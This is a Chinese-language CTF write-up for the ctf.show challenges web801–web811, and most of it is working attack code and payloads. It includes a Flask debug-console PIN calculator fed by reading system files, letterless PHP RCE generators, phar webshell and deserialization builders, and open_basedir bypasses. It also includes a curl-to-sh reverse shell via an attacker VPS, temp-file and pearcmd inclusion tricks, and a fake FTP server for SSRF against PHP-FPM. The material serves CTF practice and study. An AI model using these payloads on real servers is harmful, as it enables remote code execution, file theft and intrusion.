web801

计算Flask的pin码 pin码是flask在开启debug模式下,进行代码调试模式所需的进入密码,需要正确的PIN码才能进入调试模式,可以理解为自带的webshell

计算pin码需要以下几个信息:

1.username 在可以任意文件读的条件下读 /etc/passwd进行猜测
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id 机器码 这个待会细说,一般就生成pin码不对就是这错了
题目给的入口可以访问系统文件(那直接访问flag不就行了),通过这个可以获知以上信息。

在python3.6版本中,计算pin的部分算法采用了md5,3.8后换为sha1。这里的python环境为3.8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# pythin3.6——md5
import hashlib
from itertools import chain
probably_public_bits = [
'roo'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'//usr/local/lib/python3.8/site-packages/flask/app.py # getattr(mod, '__file__', None),
]

private_bits = [
'2485377569891',# str(uuid.getnode()), /sys/class/net/ens33/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'root'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
'2485377569891',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'225374fa-04bc-4346-9f39-48fa82829ca9010bc93c4762091ea7a11bc19cabdc0a73f637d3ae2641fd473a159d4be97c53'# /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

pin:447-739-932

访问console:https://4b34d95b-6579-43b9-b1e0-9716969682c7.challenge.ctf.show/console

web802

无字母数字rce

1
2
3
4
5
6
7
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];

if(!preg_match('/[a-z]|[0-9]/i',$cmd)){
eval($cmd);
}

参考

1.异或

生成一个用来构造字符列表的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

命令生成脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)

2.或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

/* author yu22x */

$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("or_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)

3.取反

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

web803

phar文件包含

1
2
3
4
5
6
7
8
9
10
11
12
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];

if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file.'.txt')){
include $file.'.txt';
}else{
file_put_contents($file,$content);
}
}

『PHP』phar文件详解_phar文件格式_调用phar类方法生成phar文件_php phar-CSDN博客

phar,全称为PHP Archive,phar扩展提供了一种将整个PHP应用程序放入.phar文件中的方法,以方便移动、安装。.phar文件的最大特点是将几个文件组合成一个文件的便捷方式,.phar文件提供了一种将完整的PHP程序分布在一个文件中并从该文件中运行的方法。

可以将phar文件类比为一个压缩文件

先生成phar文件

1
2
3
4
5
6
7
<?php
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST[1]);?>");
$phar->stopBuffering();
?>

再上传文件(本题目录下没有上传权限,传至/tmp),并利用

1
2
3
4
5
6
7
import requests  
url="http://d4d6bb42-e30d-4ed7-b823-baa8ec7e8cc8.challenge.ctf.show/index.php"
data1={'file':'/tmp/a.phar','content':open('shell.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar/a','content':'123','1':'system("cat f*");'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)

web804

phar反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
error_reporting(0);
highlight_file(__FILE__);

class hacker{
public $code;
public function __destruct(){
eval($this->code);
}
}

$file = $_POST['file'];
$content = $_POST['content'];

if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file)){
unlink($file);
}else{
file_put_contents($file,$content);
}
}

生成phar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class hacker{
public $code;
public function __destruct(){
eval($this->code);
}
}
$a=new hacker();
$a->code="system('cat f*');";
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setMetadata($a);
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST[1]);?>");
$phar->stopBuffering();
?>
1
2
3
4
5
6
7
8
import requests

url = "http://c3fc367a-93a6-4fd8-bc87-4645ad2c58f4.challenge.ctf.show/index.php"
data1 = {'file': '/tmp/a.phar', 'content': open('shell.phar', 'rb').read()}
data2 = {'file': 'phar:///tmp/a.phar', 'content': '123'}
requests.post(url, data=data1)
r = requests.post(url, data=data2)
print(r.text)

web805

open_basedir绕过,open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域,假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。

本题将范围限制在以下范围,同时禁用了一些函数:

用symlink绕过

1
symlink(string $target, string $link): bool

对于已有的 target 建立一个名为 link 的符号连接。 而target一般情况下受限于open_basedir。

1
2
3
4
5
6
<?php
$target = "downloads.php";
$link = "downloads";
symlink($target, $link);
echo readlink($link);
?>//'downloads.php'

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");//创建目录A/B/C/D,并返回至原始目录
symlink("A/B/C/D","SD");//创建连接,将其关联至SD
symlink("SD/../../../../ctfshowflag","1");//创建连接,将SD的前前前级目录关联回来,达成跨目录访问的目的
unlink("SD");
mkdir("SD");//删除软链接SD,并创建一个文件夹,此时SD作为一个真正的目录存在。访问1即可

bindtextdomain和SplFileInfo(未测试)

1
bindtextdomain(string $domain, ?string $directory): string|false

在directory存在的时候返回directory,不存在则返回false。

利用chdir与ini_set

1
2
chdir(string $directory): bool //将工作目录切换到指定的目录
ini_set(string $option, string $value): string|false //用来设置php.ini的值,无需打开php.ini文件,就能修改配置

payload:

1
2
mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/ctfshowflag');

相当于把open_basedir设置成了/,

web806

无参rce

1
2
3
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
eval($_GET['code']);
}

正则表达式的作用是将所有函数调用(包括嵌套函数)从输入的code中移除。这段代码的作用是通过正则表达式来检查是否包含仅由函数调用组成的代码,并且如果满足条件就执行该代码

需要构造的payload需要满足格式xxx(xxx(xxx())),且不能含有参数

比如

1
var_dump(phpinfo());//

getallheaders()

payload:eval(end(getallheaders())),将system函数嵌入在请求头的最后一个,然后eval。

getallheaders获取所有请求头,end将指针移至末尾。

不过,php5以上似乎不支持在函数内传递另一个函数的直接返回值,也有可能是我测试出了问题

get_defined_vars()

同理,get_defined_vars返回由所有已定义变量所组成的数组,会返回$_GET,$_POST,$_COOKIE,$_FILES全局变量的值,返回数组顺序为get->post->cookie->files

current() 返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回$_GET变量的数组值。

如果需要$post就把current 改成next 就好。

payload eval(end(current(get_defined_vars())));&jiang=system(‘cat /ctfshowflag’);

web807

反弹shell

1
2
3
if($schema==="https://"){
shell_exec("curl $url");
}

建立一个服务端让该代码主动连接。

?url=https://your-shell.com/你的vps:你的端口%20|%20sh

web808

临时文件包含

在PHP中可以使用POST方法或者PUT方法进行文本和二进制文件的上传。上传的文件信息会保存在全局变量$_FILES里。

$_FILES超级全局变量很特殊,他是预定义超级全局数组中唯一的二维数组。其作用是存储各种与上传文件有关的信息,这些信息对于通过PHP脚本上传到服务器的文件至关重要

1
2
3
4
5
$_FILES['userfile']['name'] 客户端文件的原名称。这个变量值的获取很重要,因为临时文件的名字都是由随机函数生成的,只有知道文件的名字才能正确的去包含它。
$_FILES['userfile']['type'] 文件的 MIME 类型,如果浏览器提供该信息的支持,例如"image/gif"
$_FILES['userfile']['size'] 已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,默认是/tmp目录。
$_FILES['userfile']['error'] 该文件上传的错误代码,上传成功其值为0,否则为错误信息。

存储目录

文件被上传后,默认会被存储到服务端的默认临时目录中,该临时目录由php.ini的upload_tmp_dir属性指定,假如upload_tmp_dir的路径不可写,PHP会上传到系统默认的临时目录中。这里是/tmp

文件名

Linux临时文件主要存储在/tmp/目录下,格式通常是(/tmp/php[6个随机字符]

Windows临时文件主要存储在C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp

phpinfo特性

看脸。

当我们在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件。文件名可以在$_FILES变量中找到。这个临时文件在请求结束后就会被删除

php代码中使用php://filter的strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码(本题文件名会给出)。

1
2
3
4
5
6
7
8
import requests

url="http://xx?file=php://filter/string.strip_tags/resource=/etc/passwd"

files={
'file':('<?php eval($_REQUEST[abc]);?>')
}
r=requests.post(url=url,files=files)

web809

pear包含:本篇文章中介绍了一种利用paercmd.php的方法

本题取消了对临时文件包含的文件名回显

1
2
if(isset($file) && !preg_match("/input|data|phar|log|filter/i",$file)){
include $file;

“pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。原本pear/pcel是一个命令行工具,并不在Web目录下,即使存在一些安全隐患也无需担心。但我们遇到的场景比较特殊,是一个文件包含的场景,那么我们就可以包含到pear中的文件,进而利用其中的特性来搞事。”

其中有个名为config-create的命令,变量设置为参数1【root-path】的子目录并保存在第二个参数【filename】中。

payload:?file=/usr/local/lib/php/pearcmd.php&+config-create+/+/tmp/a.txt

注意还是用bp传参,因为用浏览器直接传参会编码

然后包含即可

web810

SSRF打PHP-FPM

1
2
3
4
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_HEADER,1);//会将头文件的信息作为数据流输出
curl_setopt($ch,CURLOPT_RETURNTRANSFER,0);//将curl_exec()获取的信息以字符串返回,而不是直接输出
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,0);// 设置这个选项为一个非零值,服务器会把它当做HTTP头的一部分发送

PHP-FPM详解 - walkingSun - 博客园

总之fastcgi是一个用于管理PHP进程池的协议,接受web服务器请求。只会解析php请求,并且返回结果,不会管理。

GitHub -Gopherus

一种生成ssrf-Gopherus payload的工具。

使用:

将_后的内容url编码后再上传即可。

web811

file_put_contents打PHP-FPM

file_put_contents () 函数把一个字符串写入文件中。与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。对于

1
file_put_contents($_GET['file'], $_GET['data'])

这个点是存在WebShell写入漏洞的,但是在不能写文件的环境下该如何利用呢?那么可以利用SSRF进行攻击。如果我们能向 PHP-FPM 发送一个任意的二进制数据包,就可以在机器上执行代码。这种技术经常与gopher://协议结合使用,curl支持gopher://协议,但file_get_contents却不支持。

利用FTP协议的被动模式,即:如果一个客户端试图从FTP服务器上读取一个文件(或写入),服务器会通知客户端将文件的内容读取(或写)到一个有服务端指定的IP和端口上。而且,这里对这些IP和端口没有进行必要的限制。例如,服务器可以告诉客户端连接到自己的某一个端口,如果它愿意的话。假设此时发现内网中存在 PHP-FPM,那我们可以通过 FTP 的被动模式攻击内网的 PHP-FPM。

在vps开启一个ftp服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',39001)) #端口可改
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
开启

开启监听

nc -lvp 39002

gopherus生成payload即可

paylaod:file=ftp://x.x.x.x:39001&content=payload(本次无需编码)

后面的步骤同上